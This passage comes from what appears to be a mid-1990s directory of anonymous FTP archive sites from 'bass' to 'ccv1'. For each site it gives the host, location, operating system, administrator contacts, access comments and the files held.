ftp://bass.geo.ucalgary.ca/ +Comment: +Files : ERUUG; cgam; hcb; nupop; pipe + +Site : bastet.sbs.ohio-state.edu +Country: USA +GMT : -6 +Date : 25-Jan-95 +Source : rcrepeau@metro.soceco.uci.edu (Richard Crepeau) {posting} +Alias : +Admin : +Organ : Ohio State University, , Ohio, SBS +Server : +System : Unix (SunOS 4.1) +URL : ftp://bastet.sbs.ohio-state.edu/ +Comment: +Files : biblio (biblio, GIS: Mac, PC); OSUmap + +Site : bbs.augsburg.edu +Country: USA +GMT : -6 +Date : 25-Jan-95 +Source : C.J.Leune@kub.nl (Kees Leune); Perry.Rovers@kub.nl +Alias : aug3.augsburg.edu +Admin : schwartz@aug3.augsburg.edu +Organ : Augsburg College, Minneapolis, Minnesota +Server : +System : Unix +URL : ftp://aug3.augsburg.edu/ +Comment: transfers are logged; Project Kalidescope: /pub/pkal; max. 3 users +Files : BBS; Project Kalidescope + +Site : bcm.tmc.edu +Country: USA +GMT : -6 +Date : 10-Feb-94 +Source : old ftp-list +Alias : watson.bcm.tmc.edu +Admin : +Organ : Texas Medical Colleges, Houston, Texas, Baylor College of Medicine +Server : +System : Unix +URL : ftp://bcm.tmc.edu/ +Comment: +Files : MS-DOS and PC-NFS Gopher client (based on Unix curses); NFS list; + Texas UUCP maps + +Site : bdt.ftpt.br +Country: Brazil +GMT : -3 +Date : 13-Sep-94 +Source : Perry.Rovers@kub.nl +Alias : +Admin : +Organ : Base de Dados Tropica (Tropical Database), Campinas +Server : gopher +System : Unix (SunOS 4.1) +URL : ftp://bdt.ftpt.br/ +Comment: +Files : fita; kits; RIO92; software [?]; UNCED + +Site : beach.gal.utexas.edu +Country: USA +GMT : -6 +Date : 19-Apr-94 +Source : old ftp-list +Alias : beach; beach.utmb.edu +Admin : perry@beach.gal.utexas.edu (John Perry) [probably changed] +Organ : University of Texas - Galveston, Galveston, Texas, Medical Branch +Server : +System : VAX/VMS running Multinet +URL : ftp://beach.gal.utexas.edu/ +Comment: default directory DKA0:[ANONYMOUS] +Files : anti-virus utilities + +Site : beatrix.icce.rug.nl +Country: Netherlands +GMT : +1 +Date : 16-May-94 +Source : posting by karel@icce.rug.nl (Karel Kubat) in comp.os.linux.help +Alias : +Admin : +Organ : Rijks Universiteit Groningen (RUG, University of Groningen), + Groningen, ICCE +Server : +System : Unix (SunOS 4.0) +URL : ftp://beatrix.icce.rug.nl/ +Comment: +Files : MS-DOS; symposium; Unix; wuftp daemon for Linux + +Site : beethoven.cs.colostate.edu +Country: USA +GMT : -7 +Date : 11-Mar-94 +Source : +Alias : +Admin : +Organ : Colorado State University, , Colorado, CS dept. +Server : +System : Unix (SunOS 4.1) +URL : ftp://beethoven.cs.colostate.edu/ +Comment: +Files : goss; idcodes; M3; MS-DOS; NCSA; rro; SISAL; techreports; visa + +Site : belgica.stat.washington.edu +Country: USA +GMT : -8 +Date : 06-Jan-94 +Source : old ftp-list +Alias : +Admin : +Organ : University of Washington, Seattle, Washington +Server : +System : +URL : ftp://belgica.stat.washington.edu/ +Comment: +Files : + +Site : belvoir-arl-irisgt.army.mil +Country: USA +GMT : -5 +Date : 10-Sep-94 +Source : sgi/anonftp/list +Alias : irisgt.army.mil [?] +Admin : +Organ : +Server : +System : Unix +URL : ftp://belvoir-arl-irisgt.army.mil/ +Comment: +Files : AAEC; acad; gallery; graphical tree demo; TACOM; utilities; viewtree + +Site : bert.cs.byu.edu +Country: USA +GMT : -7 +Date : 06-Jan-94 +Source : old ftp-list +Alias : +Admin : +Organ : Brigham-Young University +Server : +System : Unix (Ultrix 4.1) +URL : ftp://bert.cs.byu.edu/ +Comment: +Files : + +Site : bertha.pyramid.com +Country: +GMT : +Date : 10-Sep-94 +Source : +Alias : +Admin : +Organ : +Server : FSP +System : Unix (System V Release 4.0) +URL : ftp://bertha.pyramid.com/ +Comment: +Files : cybernews; freedom; leri + +Site : beta.unisg.ch +Country: Switzerland +GMT : +1 +Date : 16-Jul-94 +Source : Perry.Rovers@kub.nl +Alias : sgcl1.unisg.ch +Admin : +Organ : Universitaet Sankt Gallen (University of St. Gallen), St. Gallen +Server : +System : VAX/VMS running Multinet +URL : ftp://beta.unisg.ch/ +Comment: default directory: $1$DUA1:[SPEZ.XFR] +Files : appears empty + +Site : biochemistry.cwru.edu +Country: USA +GMT : -5 +Date : 11-Mar-94 +Source : ashok@biochemistry.cwru.edu (Ashok Aiyar) {posting} +Alias : biochemistry.bioc.cwru.edu +Admin : ftpserv@biochemistry.cwru.edu +Organ : Case Western Reserve University, Cleveland, Ohio +Server : gopher +System : MS-DOS (PC) +URL : ftp://biochemistry.cwru.edu/ +Comment: transfers are logged; anonymous logins restricted to between + 17:00-09:00 local time on weekdays (no restrictions on weekends); + ftp inactivity timeout set to 5 minutes; gopher available +Files : MS-DOS; MS-Windows QVT/NET software; NOS; pdbview; psaam; SLIP; + Slipper; Trumpet (DOS/Winsock); WinTCP + +Site : biomol.univ-lyon1.fr +Country: France +GMT : +1 +Date : 06-Jan-94 +Source : old ftp-list +Alias : biom3.univ-lyon1.fr +Admin : +Organ : Universite de Lyon (University of Lyon), Lyon +Server : +System : Unix (SunOS 4.1) +URL : ftp://biomol.univ-lyon1.fr/ +Comment: +Files : ACNUC nucleic acid sequences database + +Site : bitnic.educom.edu +Country: USA +GMT : -5 +Date : 06-Jan-94 +Source : old ftp-list +Alias : bitnic; +Admin : +Organ : BITNET NIC +Server : listserv@bitnic.educom.edu (LISTSERV@BITNIC.BITNET) +System : VM/CMS +URL : ftp://bitnic.educom.edu/ +Comment: main archive for BITNET related information +Files : lots of information regarding BITNET; nicbbs archives + +Site : black.bgu.ac.il +Country: Israel +GMT : +2 +Date : 11-Mar-94 +Source : +Alias : +Admin : +Organ : BG University +Server : +System : Unix +URL : ftp://black.bgu.ac.il/ +Comment: +Files : geohistory; several personal pub dirs + +Site : black.cerritos.edu +Country: USA +GMT : +Date : 06-Jan-94 +Source : old ftp-list +Alias : +Admin : +Organ : +Server : mailserv@cerritos.edu +System : VAX/VMS running Multinet +URL : ftp://black.cerritos.edu/ +Comment: default directory: INST_DISK:[ANONYMOUS] +Files : VMSnet sources + +Site : blaze.cs.jhu.edu +Country: USA +GMT : -5 +Date : 11-Mar-94 +Source : +Alias : +Admin : ftp-manager@blaze.cs.jhu.edu +Organ : Johns Hopkins University, Baltimore, Maryland, CS dept. +Server : +System : Unix +URL : ftp://blaze.cs.jhu.edu/ +Comment: anonymous sessions may be logged +Files : CircleMUD; graphics; heath; ll-list; trux; vision + +Site : bnlux0.bnl.gov +Country: USA +GMT : -5 +Date : 10-Sep-94 +Source : sgi/anonftp/list; old ftp-list +Alias : bnlux1.bnl.gov +Admin : +Organ : B... National Laboratory +Server : +System : Unix (Ultrix 4.1) +URL : ftp://bnlux0.bnl.gov/ +Comment: +Files : autoexam; chaos (SGI); lorenz; netx; Novell; pezz; qvtne; thermit + +Site : bobcat.bbn.com +Country: USA +GMT : -5 +Date : 24-Aug-94 +Source : old ftp-list +Alias : +Admin : +Organ : Bolt, Beranek & Neumann, Cambridge, Massachusetts +Server : +System : MS-DOS (PC running KA9Q) +URL : ftp://bobcat.bbn.com/ +Comment: +Files : beatles; KA9Q; kerm311; music; utils; video + +Site : bode.ee.ualberta.ca +Country: Canada +GMT : -7 +Date : 30-Oct-94 +Source : charro@ee.ualberta.ca (Dan Charrois) {posting} +Alias : +Admin : +Organ : University of Alberta, Edmonton, Alberta, EE dept. +Server : +System : Unix +URL : ftp://bode.ee.ualberta.ca/ +Comment: +Files : Circuit Cookbook; ccts; drives; eegeneral; electrical; gopher; hev; + HP48; inform; Linux; Mac; MS-DOS; Motorola; music; OS; OS/2; S2; + Spice; Unix; wuarchive + +Site : bohr.physics.purdue.edu +Country: USA +GMT : -6 +Date : 23-Aug-94 +Source : bcr@physics.purdue.edu (Bill C. Riemers) {posting} +Alias : +Admin : +Organ : Purdue University, West-Lafayette, Indiana, Physics dept +Server : +System : Unix +URL : ftp://bohr.physics.purdue.edu/ +Comment: +Files : bcr; brice; cello; gene; grams; heathers; Linux; maraman; optic; + parks; saw; scg; sho; TeX; Titan; yoon + +Site : bond.edu.au +Country: Australia +GMT : +10 +Date : 26-Aug-94 +Source : old ftp-list; andrew@bing.apana.org.au (Andrew Cosgriff) {posting} +Alias : kirk.bu.oz.au, kirk.bond.edu.au +Admin : ftp@kirk.bond.edu.au (David J. Hughes) +Organ : Bond University, Gold Coast, Queensland +Server : +System : Unix +URL : ftp://bond.edu.au/ +Comment: Open 24 hours; directories: pub/OS, pub/usenet; bu.oz.au + is the old domainname for Bond University: use bond.edu.au + instead, because bu.oz.au will disappear after a while; do not + download large files between 08:00 and 18:00 local time; mail + the admin if you leave something in the incoming directory +Files : 386BSD; 4.4BSD; Bond Uni; comp.binaries.ibm.pc; docs; Linux + (tsx-11.mit.edu and bits of sunsite.unc.edu mirror); Mac; OS; PC; + QAUUG; SNMP; Solaris; Usenet; WWW + +Site : boole.stanford.edu +Country: USA +GMT : -8 +Date : 06-Jan-94 +Source : old ftp-list +Alias : +Admin : ftp@boole.stanford.edu +Organ : Stanford University, Menlo Park, California +Server : +System : +URL : ftp://boole.stanford.edu/ +Comment: +Files : algebra; concurrency models + +Site : boombox.micro.umn.edu +Country: USA +GMT : -6 +Date : 14-Feb-94 +Source : old ftp-list +Alias : boombox; +Admin : +Organ : University of Minnesota, , Minnesota +Server : +System : +URL : ftp://boombox.micro.umn.edu/ +Comment: +Files : Gopher (origin); Minuet; networking stuff; POPmail + +Site : boulder.colorado.edu +Country: USA +GMT : -7 +Date : 11-Mar-94 +Source : old ftp-list +Alias : +Admin : +Organ : University of Colorado - Boulder, Boulder, Colorado +Server : +System : Unix +URL : ftp://boulder.colorado.edu/ +Comment: boulder transmogrified FTP server; previous writable /tmp dir + is gone due to uploads of pirated software: Kill the body + and the head will die +Files : 3b1; addhost; aliases; bsdi; dod; enya; localization; scholarline; + sendmail; Varsity; Sun progs; tv+movies + +Site : bovine.uoregon.edu +Country: USA +GMT : -8 +Date : 29-Nov-94 +Source : chrisl@seds.lpl.arizona.edu (Chris Lewicki) {posting} +Alias : +Admin : +Organ : University of Oregon, , Oregon +Server : +System : Unix +URL : ftp://bovine.uoregon.edu/ +Comment: +Files : AAS; Astro images; catalogs; movies; ncd; nsfforms; nuts; papers; + pasp; ray; sci.astro; spectra; wmaps + +Site : brimbank.apana.org.au +Country: Australia +GMT : +10 +Date : 30-Aug-94 +Source : bushwire.apana.org.au +Alias : +Admin : nick@brimbank.apana.org.au (Nick Langmaid) +Organ : +Server : +System : Windows NT (PC) +URL : ftp://brimbank.apana.org.au/ +Comment: +Files : antivirus; APANA; encoders; images; UUPC; Waffle; Windows (games, + mail, NT, utilities, winsock) + +Site : brise.ujf-grenoble.fr +Country: France +GMT : +1 +Date : 29-Nov-94 +Source : sgi/anonftp/list; admin +Alias : brise.imag.fr +Admin : Yves.Usson@imag.fr (Jean-Claude.Jesior@imag.fr for Mac FoldIt prg) +Organ : Universite Joseph Fourier (Joseph Fourier University), Grenoble, + BRISE +Server : +System : Unix +URL : ftp://brise.ujf-grenoble.fr/ +Comment: uploads to /incoming, systematically erased after 3 days (but less + than 500Kb recommended); successor of ftp.brise.imag.fr +Files : Mac: FoldIT; SGI: CurEdit (GL cursor creator), hppjt (HP Paintjet + driver) + +Site : brokaw.lcs.mit.edu +Country: USA +GMT : -5 +Date : 06-Jan-94 +Source : old ftp-list +Alias : +Admin : +Organ : Massachusetts Institute of Technology, Cambridge, Massachusetts, + Laboratory of Computer Sciences +Server : +System : +URL : ftp://brokaw.lcs.mit.edu/ +Comment: +Files : pc-omega; bison; scheme + +Site : brolga.cc.uq.oz.au +Country: Australia +GMT : +10 +Date : 06-Jan-94 +Source : old ftp-list +Alias : +Admin : Marek.Krawus@cc.uq.oz.au (Marek Krawus) +Organ : University of Queensland, Brisbane, Prentice Centre +Server : +System : +URL : ftp://brolga.cc.uq.oz.au/ +Comment: Try to only retrieve files outside of 0900-1700 AEST +Files : comp.sources: games, misc, sun, unix; comp.windows.news; gnu; + RFCs; isode; pp + +Site : broncho.ct.monash.edu.au +Country: Australia +GMT : +10 +Date : 26-Aug-94 +Source : andrew@bing.apana.org.au (Andrew Cosgriff) {posting} +Alias : +Admin : root@broncho.ct.monash.edu.au +Organ : Monash University, Melbourne, Dept. of Computer Technology +Server : +System : Unix +URL : ftp://broncho.ct.monash.edu.au/ +Comment: max. 10 users; transfers are logged; server can compress, gzip files + and tar directories +Files : 4.4BSD Lite; alpha-osf-managers; FreeBSD; GNU; mbone; RFCs; + tech-reports; utils + +Site : brownvm.brown.edu +Country: USA +GMT : -5 +Date : 14-Dec-94 +Source : old ftp-list +Alias : +Admin : +Organ : Brown University, Providence, Rhode Island +Server : +System : VM/CMS +URL : ftp://brownvm.brown.edu/ +Comment: default directory: ANONYMOU 191; + Problem: I/O error on network device +Files : Mac; some other files + +Site : brutus.ee.su.oz.au +Country: Australia +GMT : +10 +Date : 11-Mar-94 +Source : +Alias : +Admin : +Organ : Sydney University, Sydney +Server : +System : Unix (SunOS 4.1) +URL : ftp://brutus.ee.su.oz.au/ +Comment: +Files : hyan; NH; r5; speech; X + +Site : bu.edu +Country: USA +GMT : -5 +Date : 06-Jan-94 +Source : old ftp-list +Alias : +Admin : +Organ : Boston University, Boston, Massachusetts +Server : +System : +URL : ftp://bu.edu/ +Comment: +Files : RFCs; mail utils + +Site : buacca.bu.edu +Country: USA +GMT : -5 +Date : 14-Dec-94 +Source : old ftp-list +Alias : +Admin : +Organ : Boston University, Boston, Massachusetts +Server : +System : VM/CMS +URL : ftp://buacca.bu.edu/ +Comment: default directory: ANON +Files : gifhibi (apparently some images, I don't get this OS) + +Site : bugs.nosc.mil +Country: USA +GMT : -8 +Date : 14-Feb-94 +Source : baird@marlin.nosc.mil (John M. Baird); old ftp-list +Alias : +Admin : +Organ : NOSC, San Diego, California +Server : +System : +URL : ftp://bugs.nosc.mil/ +Comment: +Files : ADA math; bayr; gnt; Minix + +Site : bull.cs.williams.edu +Country: USA +GMT : -5 +Date : 06-Jan-94 +Source : old ftp-list +Alias : +Admin : +Organ : +Server : +System : Unix (System V Release 4.0) +URL : ftp://bull.cs.williams.edu/ +Comment: +Files : ParaGraph + +Site : bulldog.cs.yale.edu +Country: USA +GMT : -5 +Date : 06-Jan-94 +Source : old ftp-list +Alias : +Admin : +Organ : Yale University, New Haven, Connecticut +Server : +System : Unix (SunOS 4.1) +URL : ftp://bulldog.cs.yale.edu/ +Comment: +Files : ispell; ease report + +Site : burgundy.nectar.cs.cmu.edu +Country: USA +GMT : -5 +Date : 29-Sep-94 +Source : Vincent.Cate@cs.cmu.edu {posting} +Alias : +Admin : +Organ : Carnegie-Mellon University, Pittsburgh, Pennsylvania, CS dept. +Server : +System : Unix +URL : ftp://burgundy.nectar.cs.cmu.edu/ +Comment: [preliminary listing, not checked yet] +Files : Alex (user level NFS server) + +Site : bushwire.apana.org.au +Country: Australia +GMT : +10 +Date : 30-Aug-94 +Source : steve@cstat.co.za (Steve Davies) {posting} +Alias : +Admin : help@bushwire.apana.org.au (Mark Delaney) +Organ : Private site, Melbourne +Server : +System : Unix +URL : ftp://bushwire.apana.org.au/ +Comment: sits under the desk in a spare room. be gentle; access is + extensively logged; problem with 'dir', use 'ls' or 'ls -l' +Files : comms; gup (program to autofeed UUCP sites); Internet drafts; + mail; MS-DOS and MS-Windows are on brimbank.apana.org.au; news; + RFCs; Unix; UUCP + +Site : butler.hpl.hp.com +Country: USA +GMT : -8 +Date : 25-Jan-95 +Source : arnoud@ijssel.xs4all.nl (Arnoud Martens) {posting} +Alias : butler.hpl.external.hp.com +Admin : +Organ : Hewlett-Packard +Server : +System : Unix +URL : ftp://butler.hpl.hp.com/ +Comment: +Files : hamlyn; hippi; jacobson; jedec; Mosaic; ngcr; reflector; sci; socks; + standards; stl (Standard Template Library for C++) + +Site : butler226a.dorm.tulane.edu +Country: USA +GMT : -7 +Date : 21-Nov-94 +Source : oceania@terminus.intermind.net (Eric Klien) +Alias : +Admin : oceania@terminus.intermind.net (Eric Klien) +Organ : Tulane University, New Orleans, Louisiana +Server : http://butler226a.dorm.rutgers.edu/ +System : Unix (System V Release 4, Sun) +URL : ftp://butler226a.dorm.tulane.edu/ +Comment: mailinglist: mail message with a body of subscribe oceania-l + to listproc@butler226a.dorm.tulane.edu +Files : Files are related to the new country in development Oceania. + You may get the Constitution and Laws, plus information on related + books such as The Atlantis Papers and The Millennial Project. + In the subdirectory images are true color pictures of how Oceania + may look. In the subdirectory oracle are back issues of the + Oceania Oracle. Animations of Oceania are also online as well as + information on how to receive an Oceania passport + +Site : bwl.bwl.th-darmstadt.de +Country: Germany +GMT : +1 +Date : 22-May-94 +Source : +Alias : +Admin : hajo@bwl.bwl.th-darmstadt.de; hoe@bwl.bwl.th-darmstadt.de +Organ : Technische Hochschule Darmstadt (Darmstadt Polytechnical Institute), + Darmstadt, Institute for BWL +Server : +System : Netware 3.11 (PC fileserver) +URL : ftp://bwl.bwl.th-darmstadt.de/ +Comment: home directory: /APPS +Files : docs; NW2; ODI; Pmail; Windows + +Site : byrd.mu.wvnet.edu +Country: USA +GMT : -5 +Date : 23-May-94 +Source : NATODATA List (natodata@cc1.kuleuven.ac.be); AIRCRAFT List + (aircraft@grearn.bitnet) +Alias : byrd; +Admin : +Organ : Marshall University, , West Virginia +Server : +System : Unix +URL : ftp://byrd.mu.wvnet.edu/ +Comment: directory: /pub/history/military/NATO; mirrored on sunsite.unc.edu +Files : aircraft related files; ejvc; ejvdeds; estepp; history; merton; NATO + documents; Novell; vleadr; yeager + +Site : c.scs.uiuc.edu +Country: USA +GMT : -6 +Date : 23-Aug-94 +Source : old ftp-list +Alias : +Admin : +Organ : University of Illinois - Urbana/Champaign, Urbana, Illinois, + CS dept. +Server : +System : VAX/VMS +URL : ftp://c.scs.uiuc.edu/ +Comment: default directory: SYS$SYSDEVICE:[NETDIST.PUB] +Files : ROSAT; some astronomy GIFs; StarChart + +Site : cad.ics.uci.edu +Country: USA +GMT : -8 +Date : 30-Oct-94 +Source : old ftp-list +Alias : +Admin : +Organ : University of California - Irvine, Irvine, California, + Information & CS dept. (ICI) +Server : +System : Unix +URL : ftp://cad.ics.uci.edu/ +Comment: +Files : Fast-Jack; Mush; netrek + +Site : cadillac.siemens.com +Country: USA +GMT : -5 +Date : 14-Dec-94 +Source : old ftp-list +Alias : +Admin : +Organ : Siemens - New Jersey, , New Jersey +Server : +System : +URL : ftp://cadillac.siemens.com/ +Comment: Problem: I/O error on network device +Files : + +Site : caip.rutgers.edu +Country: USA +GMT : -5 +Date : 15-Sep-94 +Source : davpoole@indirect.com (David Poole) {posting} +Alias : +Admin : +Organ : Rutgers University, Piscataway, New Jersey +Server : +System : Unix +URL : ftp://caip.rutgers.edu/ +Comment: +Files : Mosaic + +Site : cair.kaist.ac.kr +Country: South Korea +GMT : +8 +Date : 09-Feb-94 +Source : Computer Underground Digest (CuD) +Alias : +Admin : +Organ : KAIST +Server : +System : Unix +URL : ftp://cair.kaist.ac.kr/ +Comment: +Files : Computer Underground Digest (CuD) archives (in doc/eff/cud) + +Site : caisr2.caisr.cwru.edu +Country: USA +GMT : -5 +Date : 11-Mar-94 +Source : Perry.Rovers@kub.nl +Alias : +Admin : +Organ : Case Western Reserve University, Cleveland, Ohio +Server : +System : Unix (Ultrix 4.1) +URL : ftp://caisr2.caisr.cwru.edu/ +Comment: +Files : doc; engr143; games; iku; mud; muse; mush; net + +Site : caissa.onenet.net +Country: USA +GMT : -6 +Date : 22-Dec-94 +Source : ftp.uoknor.edu +Alias : nic.onenet.net +Admin : chris@onenet.net, info@nic.onenet.net +Organ : OneNet +Server : gopher +System : Unix (SunOS, Sparc II clone) +URL : ftp://caissa.onenet.net/ +Comment: the chess archive of chess.uoknor.edu moved here; max. 60 users; + server can automatically (de)compress; primarily intended for + the purpose of distributing information concerning OneNet and/or + data which may be of use to its members +Files : Amiga; Atari; CBUFF; chess; game-databases; GNU; html; ICS; + Internet-guides; mail; MS-DOS; netinfo; networking; NeXT; OneNet; + PGN; Rating info; TB; Unix; X + +Site : calpe.psc.edu +Country: USA +GMT : -5 +Date : 06-Jan-94 +Source : old ftp-list +Alias : +Admin : +Organ : Pittsburgh Supercomputing Center, Pittsburgh, Pennsylvania +Server : +System : Unix (Ultrix 4.10) +URL : ftp://calpe.psc.edu/ +Comment: +Files : GPLOT; GTEX + +Site : cambridge.apple.com +Country: USA +GMT : -8 +Date : 11-Mar-94 +Source : +Alias : brazil.cambridge.apple.com +Admin : +Organ : Apple Computer, Cambridge, Massachusetts +Server : +System : Unix +URL : ftp://cambridge.apple.com/ +Comment: +Files : clim; comp.lang.lisp; dropbox; dylan; gsb; MacL; mail-archive; MCL2; + shlib; X3J13 + +Site : camelot.cc.rl.ac.uk +Country: UK +GMT : 0 +Date : 11-Mar-94 +Source : +Alias : +Admin : +Organ : +Server : +System : Unix +URL : ftp://camelot.cc.rl.ac.uk/ +Comment: +Files : cute; MandR; open; reports; wg5 + +Site : camelot.usc.edu +Country: USA +GMT : -8 +Date : 24-Jan-95 +Source : belal@sco.com (Bela Lubkin> {posting} +Alias : +Admin : +Organ : University of Southern California, , California +Server : +System : Unix +URL : ftp://camelot.usc.edu/ +Comment: +Files : cellular; images [empty?]; sco-ports (skull); solaris-ports [empty?] + +Site : cao-vlsi.ibp.fr +Country: France +GMT : +1 +Date : 12-Jan-94 +Source : old ftp-list +Alias : si.ibp.fr +Admin : ftp@cao-vlsi.ibp.fr +Organ : University Pierre et Marie Curie - MASI Lab., Paris, CAD-VLSI Team +Server : +System : Unix +URL : ftp://cao-vlsi.ibp.fr/ +Comment: uploads to /incoming +Files : Alliance (CAD system for teaching VLSI digital CMOS design); GNU; + Mach; Mirrors: Simtel20, Cica, Linux (sunsite.unc.edu); + pub directory of ftp.ibp.fr; TeX; Unix + +Site : cap.gwu.edu +Country: USA +GMT : -5 +Date : 23-May-94 +Source : +Alias : +Admin : +Organ : George Washington University, Washington, District of Columbia +Server : +System : Unix (SunOS 4.1) +URL : ftp://cap.gwu.edu/ +Comment: +Files : capaccess; cpb; freeport; in; info; mindways + +Site : carlo.phys.uva.nl +Country: Netherlands +GMT : +1 +Date : 16-May-94 +Source : nl-ftp list as posted to nlnet.announce +Alias : +Admin : bas@phys.uva.nl +Organ : Universiteit Amsterdam (Amsterdam University), Amsterdam +Server : +System : Unix +URL : ftp://carlo.phys.uva.nl/ +Comment: directory: /pub/bas +Files : ASL archive (a boardgame made by Avalon Hill); ZSH development + archive (only useful for people on the zsh mailinglist) + +Site : casper.na.cs.yale.edu +Country: USA +GMT : -5 +Date : 06-Jan-94 +Source : old ftp-list +Alias : casper +Admin : +Organ : Yale University, New Haven, Connecticut +Server : +System : Unix (System V Release 4.0) +URL : ftp://casper.na.cs.yale.edu/ +Comment: +Files : multigrid repository + +Site : cathouse.org +Country: USA +GMT : -6 +Date : 17-Jul-94 +Source : Perry.Rovers@kub.nl +Alias : +Admin : jrh@cathouse.org +Organ : +Server : +System : NeXTStep (NeXT 1.0) +URL : ftp://cathouse.org/ +Comment: previously listed aliases gofish and dixie are invalid; definitely + one of the largest humor sites; now let's see if the NSA greps one + of the following strings ;-) +Files : humor: animals, ascii, authors, better, Bob Christ, British humour: + Black Adder, bottom, Fawlty Towers, Mr. Bean, Monty Python, Red + Dwarf, Young Ones, Beyond the Fringe, Biographies, Britcomedy + digest, Fry and Laurie, Peter Cook and Dudley Moore, Rowan Atkinson; + computer, death, flying, geography, jobs, misc, Murphy's Laws, + politically correct, quotes, religion, school, sex, simon (bofh, + the bucket stories and more), sports, standup, synonyms, test, + true (animals, awards, death, hospitals, kids, misc, police, + politics, sex, tabloid, transportation), women; lyrics (lots of song + lyrics); movies (database, tools, scripts); Rush Limbaugh + transcripts; television: Beavis and Butthead, Black Adder, bottom, + cheers, David Letterman, Fawlty Towers, Married with Children, misc + American, misc. British, Muppets, Red Dwarf, Saturday Night Live, + SeaQuest DSV (guides, synopses), Seinfeld, The Simpsons, Young Ones; + urban legends: afu-faq, shergoldian, awards, minutes, people (Vicki + Robinson, Kibo, Joel Furr), smileys, snide, animals, Loch Ness, + books, Blue Star Tattoos, Craig Shergold, pull tabs, snuff films, + electric chair, lights out, disney, drugs, cocaine money, food, + gifs, language, etymology, legal, medical, shakespeare, movies, + net.legends, products, science, sex, songs, tv, cpt.pugwash + +Site : caticsuf.csufresno.edu +Country: USA +GMT : -8 +Date : 09-May-94 +Source : steve@caticsuf.cati.csufresno.edu (Steve Mitchell) +Alias : cati.csufresno.edu +Admin : steve@caticsuf.cati.csufresno.edu (Steve Mitchell) +Organ : California State University, Fresno, California, + California Agricultural Technology Institute (CATI), + Advanced Technology Information Network +Server : no e-mail server +System : Unix +URL : ftp://caticsuf.csufresno.edu/ +Comment: Currently unrestricted access. Accesses are logged. +Files : Dairy market reports; California irrigation information; + Paintball archives; rec.sport.paintball article archive + +Site : catless.ncl.ac.uk +Country: UK +GMT : 0 +Date : 14-Dec-94 +Source : IRC faq as posted in news.answers +Alias : +Admin : +Organ : University of Newcastle, Newcastle +Server : +System : Unix +URL : ftp://catless.ncl.ac.uk/ +Comment: TCL/TK software +Files : frink; haiku; jungle; nautilus; obeah; Quanta; papers; TCL; tihsho; + TK; wigwam; zircon; zorro + +Site : cb-iris.stanford.edu +Country: USA +GMT : -8 +Date : 10-Sep-94 +Source : sgi/anonftp/list +Alias : +Admin : dhinds@cb-iris.stanford.edu +Organ : Stanford University, Menlo Park, California, Dept. of Cell Biology +Server : +System : Unix +URL : ftp://cb-iris.stanford.edu/ +Comment: please read the README files in separate directories +Files : GNU; Irix software (CAP patch, freeze, xscript); mbg; ncube2; + PCMCIA; WWW + +Site : cc.curtin.edu.au +Country: Australia +GMT : +8 +Date : 06-Jan-94 +Source : old ftp-list +Alias : +Admin : +Organ : Curtin University +Server : +System : VAX/VMS running Multinet +URL : ftp://cc.curtin.edu.au/ +Comment: default directory: USR1:[ANONYMOUS] +Files : Inet access software; chemical engingeering + +Site : cc.rochester.edu +Country: USA +GMT : -5 +Date : 06-Jan-94 +Source : old ftp-list +Alias : galileo.cc.rochester.edu +Admin : +Organ : University of Rochester, Rochester, New York, CC +Server : +System : +URL : ftp://cc.rochester.edu/ +Comment: +Files : + +Site : cc.utah.edu +Country: USA +GMT : -7 +Date : 06-Jan-94 +Source : VAX Software List; old ftp-list +Alias : +Admin : +Organ : University of Utah, Salt Lake City, Utah, CC +Server : +System : VAX/VMS running Multinet +URL : ftp://cc.utah.edu/ +Comment: default directory: $1$DIA0:[FAL] +Files : VMS software + +Site : cc1.kuleuven.ac.be +Country: Belgium +GMT : +1 +Date : 30-Jan-94 +Source : old ftp-list +Alias : BLEKUL11 on BITNET +Admin : +Organ : Katholieke Universiteit Leuven, Leuven, Academic Computing Center +Server : listserv@cc1.kuleuven.ac.be +System : VM/CMS (VM/XA, IBM 3090/600E) +URL : ftp://cc1.kuleuven.ac.be/ +Comment: default directory: ANONYMOU 191; anonymous directory is Read Only; + do not use the 'ls' or 'dir' command on other disks than + ANONYMOU.191 and ANONYMOU.203 (the others, 200, 202 and 204, contain + >1000 files. get the FILELIST file first) +Files : 4TeX; CBEHIGH (Computer Based Education in higher education); FAQs; + various games and utilities for VM/CMS (c-chest) + +Site : cca.camb.com +Country: USA +GMT : -5 +Date : 15-Dec-94 +Source : VAX Software List +Alias : +Admin : +Organ : +Server : +System : VAX/VMS running MultiNet +URL : ftp://cca.camb.com/ +Comment: default directory: FTP$DATA:[000000] +Files : DECUS; DS700; locksmithing; mach; VMS software; VS0133; ZyXEL + +Site : ccadfa.cc.adfa.oz.au +Country: Australia +GMT : +10 +Date : 06-Jan-94 +Source : old ftp-list +Alias : +Admin : postmaster@adfa.oz.au +Organ : Australian Defence Force Academy, Canberra, CC +Server : +System : +URL : ftp://ccadfa.cc.adfa.oz.au/ +Comment: +Files : + +Site : ccb.ucsf.edu +Country: USA +GMT : -8 +Date : 12-Feb-94 +Source : old ftp-list +Alias : itsa.ucsf.edu +Admin : +Organ : University of California - San Francisco, San Francisco, California +Server : +System : +URL : ftp://ccb.ucsf.edu/ +Comment: comp.sources.*; GNU stuff; sound-list archives: appear to have gone +Files : physio; protein + +Site : ccn7.nott.ac.uk +Country: UK +GMT : 0 +Date : 10-Dec-94 +Source : admin; so65@alfa0.lica.unimo.it (... cub ...) +Alias : ccn7.ccc.nottingham.ac.uk +Admin : Steve.Marchant@nottingham.ac.uk +Organ : Nottingham University, Nottingham, Cripps Computer Centre +Server : +System : Netware (PC, Netware) +URL : ftp://ccn7.nott.ac.uk/ +Comment: default directory: /USERS/USERS/PUB; max. 30 users; dedicated + meteosat pictures site; max. 20 minutes connection; mirrored + on ftp.funet.fi /pub/pics/space/meteosat +Files : Meteosat Images archive + +Site : ccrma-ftp.stanford.edu +Country: USA +GMT : -8 +Date : 11-Mar-94 +Source : +Alias : cmn14 +Admin : +Organ : Stanford University, Menlo Park, California +Server : +System : NeXTStep (NeXT 1.0) +URL : ftp://ccrma-ftp.stanford.edu/ +Comment: +Files : classes; dmx; DSP; Lisp; NeXT; omr; publications; st80; transfer + +Site : ccup01.center.osaka-u.ac.jp +Country: Japan +GMT : +9 +Date : 14-Dec-94 +Source : Perry.Rovers@kub.nl +Alias : +Admin : +Organ : Osaka University, Osaka, CC +Server : +System : Unix (UP-UX/V) +URL : ftp://ccup01.center.osaka-u.ac.jp/ +Comment: Problem: can't set guest privileges +Files : + +Site : ccv1.bbn.com +Country: USA +GMT : -5 +Date : 06-Jan-94 +Source : old ftp-list +Alias : labs-n.bbn.com +Admin : +Organ : Bolt, Beranek & 